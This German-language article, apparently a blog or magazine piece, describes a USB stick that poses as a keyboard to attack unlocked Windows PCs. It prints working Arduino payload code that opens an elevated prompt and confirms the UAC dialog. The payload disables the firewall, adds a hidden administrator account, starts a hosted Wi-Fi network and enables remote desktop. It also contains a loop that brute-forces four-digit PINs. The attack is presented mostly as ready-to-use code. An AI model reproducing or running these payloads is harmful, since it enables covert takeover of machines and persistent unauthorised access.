Technisch gesehen handelt sich um einen USB-Stick, welcher vom PC als Tastatur erkannt wird. Er kann für viele Zwecke genutzt werden. Entweder um in kürzester Zeit so viele Passwörter wie möglich durchzuprobieren. Oder aber - da Microsoft es nicht mehr erlaubt, Programme direkt von einem USB Stick auszuführen - diese Programme einfach kurz vom USB Stick eintippen zu lassen und dann von der lokalen Platte zu starten. Auf diese Weise ist es sehr einfach möglich, die Schutzmechanismen von Microsoft zu umgehen.
Nach der Miniaturisierung haben wir in unseren Tests verschiedene Payloads gebaut.
Findet man beispielsweise einen offenen Windows-Rechner vor, kann man diesen durch simples
anstecken des USB-Sticks dazu bewegen, sich per WLAN aus der Ferne steuern zu lassen.
Dazu lassen wir den Stick erst eine Eingabeaufforderung mit Administrator-Rechten öffnen. Wir senden die Tastenkombination
"WINDOWS-R", anschließend "powershell Start-Process cmd.exe -Verb runAs" und danach
"ALT-J", um das aufgehende Fenster der Benutzerkontensteuerung zu bestätigen. Fertig!
Schon jetzt ist der Stick Administrator des Systems!
... Keyboard.press(KEY_LEFT_GUI); Keyboard.print("r"); Keyboard.releaseAll(); delay(750); Keyboard.println("powershell Start-Process cmd.exe -Verb runAs"); delay(750); Keyboard.press(KEY_LEFT_ALT); Keyboard.println("j"); Keyboard.releaseAll(); Keyboard.println("netsh advfirewall set allprofiles state off"); Keyboard.println("Net User techsupport techadmin /ADD"); Keyboard.println("Net LocalGroup Administrators techsupport /ADD"); Keyboard.println("reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v techsupport /t REG_DWORD /d 0 /f"); Keyboard.println("netsh advfirewall firewall add rule name='techsupport' dir=in action=allow protocol=TCP localport=7777"); Keyboard.println("netsh wlan set hostednetwork ssid=techsupport key=techadmin"); Keyboard.println("netsh wlan start hostednetwork"); Keyboard.println("netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes"); Keyboard.println("Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0"); Keyboard.println("Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1"); Keyboard.println("netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes"); Keyboard.println("netsh advfirewall firewall set rule group='remote desktop' new enable=Yes"); ...
... TokenCount1= 0; while(TokenCount1 < 10000) { snprintf(TokenGroup, 6, "%04d", TokenCount1); Keyboard.print(TokenGroup[0]); Keyboard.print(TokenGroup[1]); Keyboard.print(TokenGroup[2]); Keyboard.print(TokenGroup[3]); Keyboard.println(); TokenCount1++; // alle fünf Versuche fünf Sekunden warten: if ( TokenCount1 % 5 == 0) { delay(5000); } } ...